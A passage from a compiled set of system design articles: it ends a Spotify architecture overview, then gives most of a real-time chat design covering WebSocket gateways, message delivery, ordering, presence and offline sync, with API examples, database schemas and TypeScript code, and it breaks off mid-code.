4. **Hybrid recommendation** combining collaborative filtering, audio features, and NLP drives 30%+ of listening
5. **GCP migration** (2016-2017) reduced costs 60% while enabling faster product iteration
6. **Event-driven architecture** via Pub/Sub processes 1T+ events/day for real-time personalization

**What this design optimizes for:**

- Instant playback (< 500ms time-to-first-audio)
- Seamless cross-device experience (Spotify Connect)
- Deep personalization (Discover Weekly, Daily Mix)
- Offline reliability (encrypted downloads with license management)

**What this design sacrifices:**

- Lossless audio quality (limited to 320 kbps lossy until recent Premium updates)
- Real-time social features (friend activity delayed)
- Podcast transcription/search (limited compared to dedicated platforms)

**When to choose this design:**

- Audio streaming at scale (100M+ users)
- Personalization as core differentiator
- Need for offline mode with DRM

## Appendix

### Prerequisites

- CDN architecture: edge caching, origin shield concepts
- Audio encoding: codecs, bitrates, compression
- Distributed databases: Cassandra data modeling, consistency trade-offs
- Recommendation systems: collaborative filtering, content-based filtering basics
- Stream processing: event-driven architecture, Pub/Sub patterns

### Terminology

| Term                        | Definition                                                                       |
| --------------------------- | -------------------------------------------------------------------------------- |
| **ABR**                     | Adaptive Bitrate—dynamically selecting audio quality based on network conditions |
| **Ogg Vorbis**              | Open-source, royalty-free audio codec used by Spotify                            |
| **Gapless playback**        | Seamless transition between tracks without silence gaps                          |
| **Crossfade**               | Gradual blend between end of one track and start of next                         |
| **Collaborative filtering** | Recommendation based on similar users' behavior                                  |
| **Content-based filtering** | Recommendation based on item attributes (audio features)                         |
| **Echo Nest**               | Music intelligence company acquired by Spotify in 2014                           |
| **Spotify Connect**         | Protocol for cross-device playback control                                       |
| **Pub/Sub**                 | Publish-Subscribe messaging pattern for event streaming                          |
| **Edge n-gram**             | Tokenization for autocomplete (prefixes: "s", "sp", "spo"...)                    |

### Summary

- Spotify serves 675M+ MAU with multi-CDN delivery (Akamai, AWS, Fastly) for global reach
- Ogg Vorbis encoding at 96-320 kbps with client-side adaptive quality selection
- Cassandra handles write-heavy user data (playlists, history) with horizontal scaling
- Hybrid recommendation (collaborative + content-based + NLP) drives 30%+ of streams
- Event pipeline via Pub/Sub processes 1T+ events/day for real-time personalization
- Offline mode uses encrypted storage with per-device DRM licensing
- Backstage developer portal (open-sourced 2020) manages 300+ internal microservices

### References

- [How Spotify Aligned CDN Services](https://engineering.atspotify.com/2020/02/how-spotify-aligned-cdn-services-for-a-lightning-fast-streaming-experience) - Multi-CDN strategy
- [Personalization at Spotify Using Cassandra](https://engineering.atspotify.com/2015/01/personalization-at-spotify-using-cassandra) - Cassandra architecture
- [Spotify's Event Delivery: Road to the Cloud](https://engineering.atspotify.com/2016/03/spotifys-event-delivery-the-road-to-the-cloud-part-ii) - Kafka to Pub/Sub migration
- [Spotify chooses Google Cloud Platform](https://cloud.google.com/blog/products/gcp/spotify-chooses-google-cloud-platform-to-power-data-infrastructure) - GCP migration
- [Spotify Case Study (Google Cloud)](https://cloud.google.com/customers/spotify) - Infrastructure details
- [Backstage Developer Portal](https://backstage.io/) - Open source developer platform
- [Spotify Audio Quality](https://support.spotify.com/us/article/audio-quality/) - Official bitrate documentation
- [Spotify Audio Features API](https://developer.spotify.com/documentation/web-api/reference/get-audio-features) - Echo Nest features
- [Spotify Removes P2P (TechCrunch)](https://techcrunch.com/2014/04/17/spotify-removes-peer-to-peer-technology-from-its-desktop-client/) - P2P deprecation
- [IEEE: Spotify P2P Architecture](https://ieeexplore.ieee.org/document/5569963/) - Original P2P design paper
- [Spotify Statistics (2024)](https://www.demandsage.com/spotify-stats/) - Scale numbers

---

## Design Real-Time Chat and Messaging

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/system-design-problems/design-real-time-chat-messaging
**Category:** System Design / System Design Problems
**Description:** A comprehensive system design for real-time chat and messaging covering connection management, message delivery guarantees, ordering strategies, presence systems, group chat fan-out, and offline synchronization. This design addresses sub-second message delivery at WhatsApp/Discord scale (100B+ messages/day) with strong delivery guarantees and mobile-first offline resilience.

# Design Real-Time Chat and Messaging

A comprehensive system design for real-time chat and messaging covering connection management, message delivery guarantees, ordering strategies, presence systems, group chat fan-out, and offline synchronization. This design addresses sub-second message delivery at WhatsApp/Discord scale (100B+ messages/day) with strong delivery guarantees and mobile-first offline resilience.

<figure>

![High-level architecture: WebSocket gateways handle persistent connections, Kafka provides message routing, and fan-out service distributes messages to recipients.](./high-level-architecture-websocket-gateways-handle-persistent-connections-kafka-p.svg)

<figcaption>High-level architecture: WebSocket gateways handle persistent connections, Kafka provides message routing, and fan-out service distributes messages to recipients.</figcaption>
</figure>

## Abstract

Real-time chat systems solve three interrelated problems: **low-latency delivery** (messages appear within milliseconds), **reliable delivery** (no message is ever lost), and **ordering consistency** (messages appear in the same order for all participants).

**Core architectural decisions:**

| Decision           | Choice                        | Rationale                                           |
| ------------------ | ----------------------------- | --------------------------------------------------- |
| Transport          | WebSocket                     | Full-duplex, 2-byte overhead after handshake        |
| Delivery guarantee | At-least-once + client dedup  | Simpler than exactly-once; idempotency at app layer |
| Message ordering   | Server-assigned timestamps    | Single source of truth; avoids clock skew issues    |
| Fan-out model      | Hybrid push/pull              | Push for small groups, pull for large channels      |
| Presence           | Heartbeat + Redis pub/sub     | Ephemeral data; no persistence needed               |
| Offline sync       | Client-side sequence tracking | Fetch missed messages on reconnect                  |

**Key trade-offs accepted:**

- Server dependency for ordering (no P2P) in exchange for correctness guarantees
- At-least-once delivery requiring client-side deduplication
- Eventual consistency for presence (acceptable for UX)
- Higher infrastructure cost for guaranteed delivery (message queue durability)

**What this design optimizes:**

- Sub-500ms global message delivery
- Zero message loss under network partitions
- Seamless offline-to-online transitions
- Horizontal scalability to billions of messages/day

## Requirements

### Functional Requirements

| Requirement               | Priority | Notes                                         |
| ------------------------- | -------- | --------------------------------------------- |
| 1:1 direct messaging      | Core     | Private conversations between two users       |
| Group messaging           | Core     | Up to 1000 members per group                  |
| Message delivery receipts | Core     | Sent, delivered, read indicators              |
| Typing indicators         | Core     | Real-time "user is typing" display            |
| Online/offline presence   | Core     | Show user availability status                 |
| Offline message delivery  | Core     | Queue and deliver when user reconnects        |
| Message history sync      | Core     | Retrieve past messages across devices         |
| Read receipts             | Extended | Track who has read messages                   |
| Media attachments         | Extended | Images, videos, files (out of detailed scope) |
| End-to-end encryption     | Extended | Signal protocol (out of detailed scope)       |

### Non-Functional Requirements

| Requirement              | Target                        | Rationale                                           |
| ------------------------ | ----------------------------- | --------------------------------------------------- |
| Availability             | 99.99% (4 nines)              | Communication is critical; 52 min/year downtime max |
| Message delivery latency | p99 < 500ms                   | Real-time feel requires sub-second                  |
| Message durability       | 99.9999%                      | No message should ever be lost                      |
| Offline sync time        | < 5s for 1000 messages        | Fast reconnection experience                        |
| Concurrent connections   | 10M per region                | Mobile-scale concurrent users                       |
| Message retention        | 30 days default, configurable | Storage cost vs. user expectations                  |

### Scale Estimation

**Users:**

- Monthly Active Users (MAU): 500M
- Daily Active Users (DAU): 200M (40% of MAU)
- Peak concurrent connections: 50M (25% of DAU)

**Traffic:**

- Messages per user per day: 50 (mix of 1:1 and group)
- Daily messages: 200M × 50 = 10B messages/day
- Peak messages per second: 10B / 86400 × 3 (peak multiplier) = 350K msgs/sec

**Storage:**

- Average message size: 500 bytes (text + metadata)
- Daily storage: 10B × 500B = 5TB/day
- 30-day retention: 150TB
- With replication (3x): 450TB

**Connections:**

- WebSocket connections per gateway: 500K (Linux file descriptor limits)
- Gateway servers needed: 50M / 500K = 100 servers minimum
- With redundancy (2x): 200 gateway servers

## Design Paths

### Path A: Connection-Centric (Server-Routed)

**Best when:**

- Infrastructure team can maintain stateful WebSocket servers
- Low latency is primary requirement
- Moderate group sizes (< 500 members)
- Strong consistency for message ordering needed

**Architecture:**

![Diagram](./diagram-1.svg)

**Key characteristics:**

- Each gateway maintains user-to-connection mapping
- Message service routes directly to recipient's gateway
- Synchronous delivery with acknowledgment chain

**Trade-offs:**

- ✅ Lowest latency (direct routing)
- ✅ Simple mental model
- ✅ Strong ordering guarantees
- ❌ Gateway state management complexity
- ❌ User migration on gateway failure
- ❌ Limited group size due to fan-out cost

**Real-world example:** WhatsApp uses this approach with TCP persistent connections. Each server maintains ~1-2M connections. Messages route through servers using recipient's assigned gateway.

### Path B: Queue-Centric (Async Fan-out)

**Best when:**

- Very large groups/channels (1000+ members)
- Geographic distribution across regions
- Tolerance for slightly higher latency (100-500ms)
- Need for replay and audit capabilities

**Architecture:**

![Diagram](./diagram-2.svg)

**Key characteristics:**

- Messages published to Kafka partitioned by conversation
- Fan-out workers consume and distribute to recipients
- Decouples send from delivery for reliability

**Trade-offs:**

- ✅ Handles large fan-out efficiently
- ✅ Built-in replay capability
- ✅ Better failure isolation
- ❌ Higher latency (queue hop)
- ❌ More complex infrastructure
- ❌ Ordering requires partition strategy

**Real-world example:** Slack uses this approach with Kafka handling 6.5 Gbps peak throughput across 10 clusters. Channel servers use consistent hashing to maintain per-channel ordering.

### Path C: Hybrid (Push for Small, Pull for Large)

**Best when:**

- Mix of 1:1, small groups, and large channels
- Need to balance latency vs. resource usage
- Celebrity/influencer use cases with massive follower counts

**Architecture:**

![Diagram](./diagram-3.svg)

**Key characteristics:**

- Small groups use direct push for lowest latency
- Large groups use async fan-out to avoid write amplification
- Threshold typically 50-100 members

**Trade-offs:**

- ✅ Optimal latency for common case (1:1 and small groups)
- ✅ Scales to large channels without overwhelming gateways
- ✅ Flexible resource allocation
- ❌ Two code paths to maintain
- ❌ Threshold tuning required
- ❌ Slightly inconsistent delivery characteristics

**Real-world example:** Discord uses this approach. Small servers get direct fan-out; large servers (100+ members) route through Kafka for distributed processing.

### Path Comparison

| Factor              | Connection-Centric | Queue-Centric | Hybrid    |
| ------------------- | ------------------ | ------------- | --------- |
| Latency (p50)       | 50-100ms           | 100-300ms     | 50-300ms  |
| Max group size      | ~500               | Unlimited     | Unlimited |
| Complexity          | Moderate           | High          | Highest   |
| Failure isolation   | Gateway-level      | Topic-level   | Mixed     |
| Replay capability   | Limited            | Native        | Mixed     |
| Production examples | WhatsApp           | Slack         | Discord   |

### This Article's Focus

This article focuses on **Path C (Hybrid)** because:

1. Covers the full spectrum of use cases (1:1 to large channels)
2. Represents modern production architectures (Discord, Telegram)
3. Demonstrates trade-off thinking expected in system design interviews
4. Balances latency optimization with scalability

## High-Level Design

### Component Overview

![Diagram](./diagram-4.svg)

### WebSocket Gateway

Manages persistent connections and routes messages between clients and services.

**Responsibilities:**

- WebSocket connection lifecycle (connect, heartbeat, disconnect)
- Authentication and session validation
- Message routing to appropriate services
- Presence event broadcasting
- Graceful connection migration on shutdown

**Design decisions:**

| Decision               | Choice                        | Rationale                                        |
| ---------------------- | ----------------------------- | ------------------------------------------------ |
| Protocol               | WebSocket over TLS            | Full-duplex, minimal overhead, universal support |
| Session affinity       | Consistent hashing by user_id | Predictable routing, simplifies state management |
| Heartbeat interval     | 30 seconds                    | Balance between detection speed and overhead     |
| Connection timeout     | 90 seconds                    | 3 missed heartbeats before disconnect            |
| Max connections/server | 500K                          | Linux file descriptor limits with tuning         |

**Scaling approach:**

- Horizontal scaling with consistent hashing
- User-to-gateway mapping stored in Redis
- Graceful drain on shutdown (notify clients to reconnect)

### Message Service

Core service for message processing, persistence, and routing.

**State per message:**

```typescript
interface Message {
  messageId: string // UUID, client-generated for idempotency
  conversationId: string // 1:1 or group conversation
  senderId: string
  content: MessageContent
  timestamp: number // Server-assigned Unix timestamp
  sequenceNumber: bigint // Per-conversation monotonic sequence
  status: MessageStatus // PENDING | SENT | DELIVERED | READ
  expiresAt?: number // Optional TTL for ephemeral messages
}

interface MessageContent {
  type: "text" | "image" | "file" | "location"
  text?: string
  mediaUrl?: string
  metadata?: Record<string, any>
}

type MessageStatus = "PENDING" | "SENT" | "DELIVERED" | "READ"
```

**Message flow:**

1. **Receive**: Gateway forwards message with client-generated messageId
2. **Deduplicate**: Check messageId in recent message cache (idempotency)
3. **Validate**: Verify sender membership in conversation, rate limits
4. **Persist**: Write to ScyllaDB with server timestamp and sequence number
5. **Route**: Determine delivery path (direct push vs. Kafka)
6. **Acknowledge**: Return sequence number to sender
7. **Fan-out**: Distribute to recipients via appropriate channel

### Presence Service

Handles online/offline status, typing indicators, and last-seen timestamps.

**Design decisions:**

- **No persistence**: Presence reconstructed from heartbeats
- **TTL-based**: Status expires automatically on disconnect
- **Pub/Sub distribution**: Redis pub/sub for real-time updates
- **Throttled updates**: Max 1 presence update per second per user

**Data structures:**

```typescript
interface UserPresence {
  userId: string
  status: "online" | "away" | "offline"
  lastSeen: number // Unix timestamp
  deviceType: "mobile" | "web" | "desktop"
  typingIn?: string // conversationId if typing
  typingExpires?: number // Auto-clear after 5 seconds
}
```

**Presence subscription model:**

- Users subscribe to presence of their contacts on connect
- Changes broadcast via Redis pub/sub to subscribed gateways
- Gateways filter and forward to relevant connected clients

### Sync Service

Handles message history retrieval and offline synchronization.

**Sync protocol:**

- Client maintains `lastSequenceNumber` per conversation
- On reconnect, client sends list of (conversationId, lastSeq) pairs
- Server returns all messages with sequence > lastSeq
- Client merges into local database, deduplicating by messageId

**Pagination strategy:**

- Default page size: 50 messages
- Cursor-based pagination using (conversationId, sequenceNumber)
- Supports forward (newer) and backward (older) fetching

## API Design

### WebSocket Protocol

#### Connection Handshake

```
wss://chat.example.com/ws?token={jwt}&device_id={uuid}
```

**Initial connection message (server → client):**

```json
{
  "type": "connected",
  "connectionId": "conn_abc123",
  "serverTime": 1706886400000,
  "heartbeatInterval": 30000,
  "resumeToken": "resume_xyz789"
}
```

#### Client → Server Messages

**Send Message:**

```json
{
  "type": "message.send",
  "id": "req_001",
  "payload": {
    "messageId": "msg_uuid_client_generated",
    "conversationId": "conv_abc123",
    "content": {
      "type": "text",
      "text": "Hello, world!"
    }
  }
}
```

**Typing Indicator:**

```json
{
  "type": "typing.start",
  "payload": {
    "conversationId": "conv_abc123"
  }
}
```

**Mark Read:**

```json
{
  "type": "message.read",
  "payload": {
    "conversationId": "conv_abc123",
    "upToSequence": 1542
  }
}
```

**Heartbeat:**

```json
{
  "type": "heartbeat",
  "timestamp": 1706886400000
}
```

#### Server → Client Messages

**Message Acknowledgment:**

```json
{
  "type": "message.ack",
  "id": "req_001",
  "payload": {
    "messageId": "msg_uuid_client_generated",
    "sequenceNumber": 1543,
    "timestamp": 1706886400123
  }
}
```

**New Message (from another user):**

```json
{
  "type": "message.new",
  "payload": {
    "messageId": "msg_xyz789",
    "conversationId": "conv_abc123",
    "senderId": "user_456",
    "content": {
      "type": "text",
      "text": "Hi there!"
    },
    "sequenceNumber": 1544,
    "timestamp": 1706886401000
  }
}
```

**Delivery Receipt:**

```json
{
  "type": "message.delivered",
  "payload": {
    "conversationId": "conv_abc123",
    "messageIds": ["msg_uuid_1", "msg_uuid_2"],
    "deliveredTo": "user_456",
    "timestamp": 1706886402000
  }
}
```

**Read Receipt:**

```json
{
  "type": "message.read_receipt",
  "payload": {
    "conversationId": "conv_abc123",
    "readUpToSequence": 1544,
    "readBy": "user_456",
    "timestamp": 1706886403000
  }
}
```

**Presence Update:**

```json
{
  "type": "presence.update",
  "payload": {
    "userId": "user_456",
    "status": "online",
    "typingIn": null
  }
}
```

**Typing Indicator:**

```json
{
  "type": "typing.update",
  "payload": {
    "conversationId": "conv_abc123",
    "userId": "user_456",
    "isTyping": true
  }
}
```

### REST API

#### Sync Messages (Offline Recovery)

**Endpoint:** `POST /api/v1/sync`

**Request:**

```json
{
  "conversations": [
    { "conversationId": "conv_abc", "lastSequence": 1500 },
    { "conversationId": "conv_xyz", "lastSequence": 2300 }
  ],
  "limit": 100
}
```

**Response (200 OK):**

```json
{
  "conversations": [
    {
      "conversationId": "conv_abc",
      "messages": [
        {
          "messageId": "msg_001",
          "senderId": "user_123",
          "content": { "type": "text", "text": "Hello" },
          "sequenceNumber": 1501,
          "timestamp": 1706886400000,
          "status": "DELIVERED"
        }
      ],
      "hasMore": false
    }
  ],
  "serverTime": 1706886500000
}
```

#### Create Conversation

**Endpoint:** `POST /api/v1/conversations`

**Request:**

```json
{
  "type": "direct",
  "participantIds": ["user_456"]
}
```

**Response (201 Created):**

```json
{
  "conversationId": "conv_new123",
  "type": "direct",
  "participants": [
    { "userId": "user_123", "role": "member" },
    { "userId": "user_456", "role": "member" }
  ],
  "createdAt": "2024-02-03T10:00:00Z"
}
```

#### Create Group

**Endpoint:** `POST /api/v1/groups`

**Request:**

```json
{
  "name": "Project Team",
  "participantIds": ["user_456", "user_789"],
  "settings": {
    "onlyAdminsCanPost": false,
    "allowMemberInvites": true
  }
}
```

**Response (201 Created):**

```json
{
  "conversationId": "conv_group_abc",
  "type": "group",
  "name": "Project Team",
  "participants": [
    { "userId": "user_123", "role": "admin" },
    { "userId": "user_456", "role": "member" },
    { "userId": "user_789", "role": "member" }
  ],
  "memberCount": 3,
  "createdAt": "2024-02-03T10:00:00Z"
}
```

#### Message History

**Endpoint:** `GET /api/v1/conversations/{id}/messages?before={sequence}&limit=50`

**Response (200 OK):**

```json
{
  "messages": [
    {
      "messageId": "msg_xyz",
      "senderId": "user_456",
      "content": { "type": "text", "text": "Earlier message" },
      "sequenceNumber": 1450,
      "timestamp": 1706880000000
    }
  ],
  "hasMore": true,
  "nextCursor": "seq_1449"
}
```

### Error Responses

| Code | Error                    | When                         |
| ---- | ------------------------ | ---------------------------- |
| 400  | `INVALID_MESSAGE`        | Message format invalid       |
| 401  | `UNAUTHORIZED`           | Invalid or expired token     |
| 403  | `FORBIDDEN`              | Not a member of conversation |
| 404  | `CONVERSATION_NOT_FOUND` | Conversation doesn't exist   |
| 409  | `DUPLICATE_MESSAGE`      | messageId already processed  |
| 429  | `RATE_LIMITED`           | Too many messages            |

**Rate limit response:**

```json
{
  "error": "RATE_LIMITED",
  "message": "Message rate limit exceeded",
  "retryAfter": 5,
  "limit": "100 messages per minute"
}
```

## Data Modeling

### Message Storage (ScyllaDB)

**Table design for time-series message access:**

```sql
CREATE TABLE messages (
    conversation_id UUID,
    sequence_number BIGINT,
    message_id UUID,
    sender_id UUID,
    content_type TEXT,
    content_text TEXT,
    content_media_url TEXT,
    timestamp TIMESTAMP,
    status TEXT,
    expires_at TIMESTAMP,
    PRIMARY KEY ((conversation_id), sequence_number)
) WITH CLUSTERING ORDER BY (sequence_number DESC);
```

**Why ScyllaDB:**

- Optimized for time-series data (messages ordered by sequence)
- Partition per conversation enables efficient range queries
- No garbage collection pauses (C++ implementation)
- Linear horizontal scaling

**Performance characteristics:**

- Read latency p99: 15ms (vs. 40-125ms for Cassandra)
- Write latency p99: 5ms
- Partition size recommendation: < 100MB (~200K messages per conversation)

**Partition hot-spot mitigation:**

- Very active conversations split into time-bucketed partitions
- Partition key: (conversation_id, time_bucket)
- Time bucket: daily for active chats, monthly for archives

### Message Deduplication Cache (Redis)

**Purpose:** Prevent duplicate message processing (idempotency)

```redis
# Set messageId with 24-hour TTL
SETEX msg:dedup:{message_id} 86400 1

# Check before processing
EXISTS msg:dedup:{message_id}
```

### User and Conversation Metadata (PostgreSQL)

```sql
CREATE TABLE users (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    username VARCHAR(50) UNIQUE NOT NULL,
    display_name VARCHAR(100),
    avatar_url TEXT,
    phone_hash VARCHAR(64) UNIQUE,
    created_at TIMESTAMPTZ DEFAULT NOW(),
    last_active_at TIMESTAMPTZ
);

CREATE TABLE conversations (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    type VARCHAR(20) NOT NULL, -- 'direct' or 'group'
    name VARCHAR(100),         -- NULL for direct
    avatar_url TEXT,
    created_by UUID REFERENCES users(id),
    created_at TIMESTAMPTZ DEFAULT NOW(),
    updated_at TIMESTAMPTZ DEFAULT NOW(),
    last_message_at TIMESTAMPTZ,
    last_sequence BIGINT DEFAULT 0,
    member_count INT DEFAULT 0,
    settings JSONB DEFAULT '{}'
);

CREATE TABLE conversation_members (
    conversation_id UUID REFERENCES conversations(id) ON DELETE CASCADE,
    user_id UUID REFERENCES users(id) ON DELETE CASCADE,
    role VARCHAR(20) DEFAULT 'member', -- 'admin', 'member'
    joined_at TIMESTAMPTZ DEFAULT NOW(),
    last_read_sequence BIGINT DEFAULT 0,
    muted_until TIMESTAMPTZ,
    PRIMARY KEY (conversation_id, user_id)
);

-- Indexes
CREATE INDEX idx_members_user ON conversation_members(user_id);
CREATE INDEX idx_conversations_updated ON conversations(updated_at DESC);
```

### Session and Connection State (Redis)

```redis
# User's active connections (set)
SADD user:conn:{user_id} {connection_id}
SREM user:conn:{user_id} {connection_id}

# Connection → Gateway mapping (hash)
HSET conn:{connection_id}
    gateway "gateway-1.us-east-1"
    user_id "user_123"
    device_id "device_abc"
    connected_at 1706886400000

# User presence (hash with TTL)
HSET presence:{user_id}
    status "online"
    last_seen 1706886400000
    device_type "mobile"
EXPIRE presence:{user_id} 120

# Typing indicators (with auto-expire)
SETEX typing:{conversation_id}:{user_id} 5 1
```

### Database Selection Matrix

| Data Type             | Store              | Rationale                                            |
| --------------------- | ------------------ | ---------------------------------------------------- |
| Messages              | ScyllaDB           | Time-series optimized, low latency, horizontal scale |
| User profiles         | PostgreSQL         | ACID, complex queries, moderate scale                |
| Conversation metadata | PostgreSQL         | Relational queries, ACL management                   |
| Sessions, presence    | Redis Cluster      | Sub-ms latency, TTL support, pub/sub                 |
| Message dedup cache   | Redis              | Fast lookups, automatic expiry                       |
| Media files           | S3                 | Object storage, CDN integration                      |
| Analytics events      | Kafka → ClickHouse | High-volume time-series analytics                    |

## Low-Level Design

### Message Delivery Pipeline

#### Direct Push (Small Groups)

For conversations with < 100 members:

```typescript collapse={1-12}
class DirectPushHandler {
  private readonly redis: RedisCluster
  private readonly messageStore: MessageStore

  async deliverMessage(message: Message): Promise<void> {
    // 1. Get all members of conversation
    const members = await this.getConversationMembers(message.conversationId)

    // 2. For each member, find their active connections
    const deliveryTasks = members
      .filter((m) => m.userId !== message.senderId)
      .map(async (member) => {
        const connections = await this.redis.smembers(`user:conn:${member.userId}`)

        if (connections.length > 0) {
          // User is online - push directly
          await Promise.all(connections.map((connId) => this.pushToConnection(connId, message)))
          return { userId: member.userId, status: "pushed" }
        } else {
          // User is offline - queue for push notification
          await this.queuePushNotification(member.userId, message)
          return { userId: member.userId, status: "queued" }
        }
      })

    const results = await Promise.all(deliveryTasks)

    // 3. Update delivery status
    const deliveredTo = results.filter((r) => r.status === "pushed").map((r) => r.userId)

    if (deliveredTo.length > 0) {
      await this.notifyDeliveryReceipt(message, deliveredTo)
    }
  }

  private async pushToConnection(connId: string, message: Message): Promise<void> {
    const connInfo = await this.redis.hgetall(`conn:${connId}`)
    const gateway = connInfo.gateway

    // Send via internal RPC to gateway
    await this.gatewayClient.send(gateway, {
      type: "deliver",
      connectionId: connId,
      message,
    })
  }
}
```

#### Kafka Fan-out (Large Groups)

For conversations with >= 100 members:

```typescript collapse={1-15}
class KafkaFanoutHandler {
  private readonly kafka: KafkaProducer
  private readonly FANOUT_TOPIC = "messages.fanout"

  async publishForFanout(message: Message, memberCount: number): Promise<void> {
    // Partition by conversation for ordering guarantee
    await this.kafka.send({
      topic: this.FANOUT_TOPIC,
      messages: [
        {
          key: message.conversationId,
          value: JSON.stringify({
            message,
            memberCount,
            publishedAt: Date.now(),
          }),
        },
      ],
    })
  }
}

// Fan-out consumer (multiple instances)
class FanoutConsumer {
  private readonly BATCH_SIZE = 100

  async processMessage(record: KafkaRecord): Promise<void> {
    const { message, memberCount } = JSON.parse(record.value)

    // Process members in batches to avoid memory pressure
    let offset = 0
    while (offset < memberCount) {
      const memberBatch = await this.getMemberBatch(message.conversationId, offset, this.BATCH_SIZE)

      await Promise.all(memberBatch.map((member) => this.deliverToMember(member, message)))

      offset += this.BATCH_SIZE
    }
  }
}
```

### Message Ordering and Sequencing

#### Sequence Number Assignment

```typescript collapse={1-8}
class SequenceGenerator {
  private readonly redis: RedisCluster

  async getNextSequence(conversationId: string): Promise<bigint> {
    // Atomic increment in Redis
    const sequence = await this.redis.incr(`seq:${conversationId}`)
    return BigInt(sequence)
  }
}

class MessageProcessor {
  async processIncoming(conversationId: string, message: IncomingMessage): Promise<ProcessedMessage> {
    // Acquire conversation lock for ordering
    const lock = await this.acquireLock(`lock:msg:${conversationId}`, 5000)

    try {
      // Assign sequence number
      const sequenceNumber = await this.sequenceGenerator.getNextSequence(conversationId)

      // Assign server timestamp
      const timestamp = Date.now()

      const processed: ProcessedMessage = {
        ...message,
        sequenceNumber,
        timestamp,
        status: "SENT",
      }

      // Persist with sequence number
      await this.messageStore.insert(processed)

      return processed
    } finally {
      await lock.release()
    }
  }
}
```

#### Client-Side Ordering

```typescript collapse={1-10}
class ClientMessageBuffer {
  private pendingMessages: Map<string, Message[]> = new Map()
  private lastSequence: Map<string, bigint> = new Map()

  onMessageReceived(message: Message): void {
    const expected = (this.lastSequence.get(message.conversationId) || 0n) + 1n

    if (message.sequenceNumber === expected) {
      // In order - deliver immediately
      this.deliverToUI(message)
      this.lastSequence.set(message.conversationId, message.sequenceNumber)

      // Check for buffered messages that can now be delivered
      this.flushBuffer(message.conversationId)
    } else if (message.sequenceNumber > expected) {
      // Out of order - buffer and request missing
      this.bufferMessage(message)
      this.requestMissing(message.conversationId, expected, message.sequenceNumber)
    }
    // If sequence < expected, it's a duplicate - ignore
  }

  private flushBuffer(conversationId: string): void {
    const buffer = this.pendingMessages.get(conversationId) || []
    buffer.sort((a, b) => Number(a.sequenceNumber - b.sequenceNumber))

    let expected = (this.lastSequence.get(conversationId) || 0n) + 1n
    while (buffer.length > 0 && buffer[0].sequenceNumber === expected) {
      const msg = buffer.shift()!
      this.deliverToUI(msg)
      this.lastSequence.set(conversationId, msg.sequenceNumber)
      expected++
    }

    this.pendingMessages.set(conversationId, buffer)
  }
}
```

### Presence System

#### Heartbeat Processing

```typescript collapse={1-10}
class PresenceManager {
  private readonly PRESENCE_TTL = 120 // seconds
  private readonly TYPING_TTL = 5 // seconds

  async handleHeartbeat(userId: string, deviceType: string): Promise<void> {
    const now = Date.now()

    // Update presence with TTL
    await this.redis
      .multi()
      .hset(`presence:${userId}`, {
        status: "online",
        last_seen: now,
        device_type: deviceType,
      })
      .expire(`presence:${userId}`, this.PRESENCE_TTL)
      .exec()

    // Publish presence change to subscribers
    await this.redis.publish(
      `presence:changes`,
      JSON.stringify({
        userId,
        status: "online",
        timestamp: now,
      }),
    )
  }

  async handleDisconnect(userId: string): Promise<void> {
    // Check if user has other active connections
    const connections = await this.redis.smembers(`user:conn:${userId}`)

    if (connections.length === 0) {
      // No more connections - mark offline
      const now = Date.now()

      await this.redis.hset(`presence:${userId}`, {
        status: "offline",
        last_seen: now,
      })

      await this.redis.publish(
        `presence:changes`,
        JSON.stringify({
          userId,
          status: "offline",
          lastSeen: now,
        }),
      )
    }
  }

  async setTyping(userId: string, conversationId: string): Promise<void> {
    await this.redis.setex(`typing:${conversationId}:${userId}`, this.TYPING_TTL, "1")

    // Notify conversation members
    await this.redis.publish(
      `typing:${conversationId}`,
      JSON.stringify({
        userId,
        isTyping: true,
      }),
    )
  }
}
```

#### Presence Subscription

```typescript collapse={1-12}
class PresenceSubscriber {
  private subscribedUsers: Set<string> = new Set()

  async subscribeToContacts(userId: string, contactIds: string[]): Promise<void> {
    // Get current status of all contacts
    const pipeline = this.redis.pipeline()
    contactIds.forEach((id) => {
      pipeline.hgetall(`presence:${id}`)
    })
    const results = await pipeline.exec()

    // Send initial presence state
    const presences = contactIds.map((id, i) => ({
      userId: id,
      ...(results[i][1] || { status: "offline" }),
    }))

    this.sendToClient({ type: "presence.bulk", payload: { presences } })

    // Subscribe to changes
    contactIds.forEach((id) => this.subscribedUsers.add(id))
  }

  onPresenceChange(change: PresenceChange): void {
    if (this.subscribedUsers.has(change.userId)) {
      this.sendToClient({
        type: "presence.update",
        payload: change,
      })
    }
  }
}
```

### Offline Sync Protocol

```typescript collapse={1-15}
class SyncService {
  async syncConversations(
    userId: string,
    syncState: Array<{ conversationId: string; lastSequence: bigint }>,
  ): Promise<SyncResponse> {
    const results: ConversationSync[] = []

    for (const { conversationId, lastSequence } of syncState) {
      // Verify user is member
      const isMember = await this.checkMembership(userId, conversationId)
      if (!isMember) continue

      // Fetch missed messages
      const messages = await this.messageStore.getMessagesAfter(
        conversationId,
        lastSequence,
        100, // limit per conversation
      )

      // Get conversation metadata if changed
      const conversation = await this.conversationStore.get(conversationId)

      results.push({
        conversationId,
        messages,
        hasMore: messages.length === 100,
        lastSequence: messages.length > 0 ? messages[messages.length - 1].sequenceNumber : lastSequence,
        unreadCount: await this.getUnreadCount(userId, conversationId),
      })
    }

    // Also check for new conversations
    const newConversations = await this.getNewConversations(userId, syncState)

    return {
      conversations: results,
      newConversations,
      serverTime: Date.now(),
    }
  }
}
```

## Frontend Considerations

### Connection Management

**Reconnection with exponential backoff:**

```typescript collapse={1-15}
class WebSocketManager {
  private ws: WebSocket | null = null
  private reconnectAttempt = 0
  private readonly MAX_RECONNECT_DELAY = 30000
  private readonly BASE_DELAY = 1000

  connect(): void {
    this.ws = new WebSocket(this.buildUrl())

    this.ws.onopen = () => {
      this.reconnectAttempt = 0
      this.onConnected()
    }

    this.ws.onclose = (event) => {
      if (!event.wasClean) {
        this.scheduleReconnect()
      }
    }

    this.ws.onerror = () => {
      // Will trigger onclose
    }
  }

  private scheduleReconnect(): void {
    const delay = Math.min(
      this.BASE_DELAY * Math.pow(2, this.reconnectAttempt) + Math.random() * 1000, // Jitter
      this.MAX_RECONNECT_DELAY,
    )

    this.reconnectAttempt++

    setTimeout(() => this.connect(), delay)
  }
}
```

### Local Message Storage

**IndexedDB schema for offline support:**

```typescript collapse={1-20}
interface LocalDBSchema {
  messages: {
    key: [string, number] // [conversationId, sequenceNumber]
    value: Message
    indexes: {
